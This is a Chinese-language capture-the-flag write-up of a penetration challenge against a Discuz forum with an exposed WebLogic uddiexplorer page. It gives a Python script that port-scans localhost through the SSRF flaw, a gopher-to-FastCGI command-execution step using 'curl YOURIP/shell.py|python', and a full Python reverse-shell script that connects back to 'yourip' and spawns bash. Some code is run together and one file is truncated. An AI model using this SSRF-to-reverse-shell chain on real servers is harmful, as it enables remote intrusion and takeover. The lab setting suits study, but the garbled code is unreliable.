三個白帽-尋找來自星星的你 - 第一期
挑戰介紹
來自星星的你被我給丟了,我可能需要用我所有的一切才能把你找回,編了兩句就編不下去了,好吧,我承認這是一期滲透題,就是這麼直接。
挑戰目標
http://0761e975dda0c67cb.jie.sangebaimao.com/
0x01 資訊收集
打開地址,是一個dz論壇。似乎不怎麼好玩啊,還是最新版本的。
既然是滲透了,感覺祭出大殺器“掃描目錄”! (字典才是關鍵)
很快就get到關鍵資訊了(排除dz原有的目錄及頁面)
/info.php/uddiexplorer/
一個是phpinfo()資訊,很有用處的。
/opt/discuz/info.php
另一個是weblogic的東西。
果斷百度 "uddiexplorer 漏洞",馬上可以知道 weblogic uddiexplorer存在 SSRF漏洞。
這次滲透的關鍵就在於 SSRF!!!
利用漏洞
SSRF並不只是搞內網,結合三個白帽的結界docker,搞127.0.0.1才是王道!
萬能的百度啊,搜尋關鍵字 "SearchPublicRegistries ssrf 漏洞 exp"
得到http://www.tuicool.com/articles/UjaqIbz
得到一個腳本,自己修改一下拿來用!!!
連接埠掃描.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import reimport requestsdef scan(ip_str): url = 'http://0761e975dda0c67cb.jie.sangebaimao.com' ports = ('21','22','23','53','80','1080','1433','1521','3306','3389','4899','8080','7001','8000','9000','9001',) for port in ports: exp_url = url+"/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"%(ip_str, port) try: response = requests.get(exp_url, timeout=15, verify=False) re_sult1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',response.content) re_sult2 = re.findall('but could not connect',response.content) if len(re_sult1)!=0 and len(re_sult2)==0: print ip_str+':'+port except Exception, e: passif __name__ == "__main__": scan('127.0.0.1')
成功破出22,80,3306,7001,9000等連接埠。
SSRF+GOPHER一直都很牛逼,最近更是火熱。
還是百度~~
rr菊苣最新文章 《Do Evil Things with gopher://》
0x03 攻擊 FastCGI
一般來說 FastCGI 都是綁定在 127.0.0.1 連接埠上的,但是利用 Gopher+SSRF 可以完美攻擊 FastCGI 執行任意命令。
0x06 參考
PHP FastCGI 的遠程利用
命令執行
下載fcgi_exp
運行
nc -l -p 9000 >x.txt & go run fcgi_exp.go system 127.0.0.1 9000 /opt/discuz/info.php "curl YOURIP/shell.py|python"php -f gopher.php
把payload儲存到x.txt
反彈shell的黑科技,bash反彈無效~~
然後urlencode編碼payload產生ssrf.php
shell.py
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("yourip",9999)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/bash","-i"]);
gopher.php
");?>
成功產生了利用檔案ssrf.php
反彈shell
VPS運行
nc -lvv 9999
利用SSRF
http://0761e975dda0c67cb.jie.sangebaimao.com/uddiexplorer/SearchPublicRegistries.jsp?&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business%20location&btnSubmit=Search&operator=YOURIP/ssrf.php
成功反彈~~~
GETFLAG
自己找吧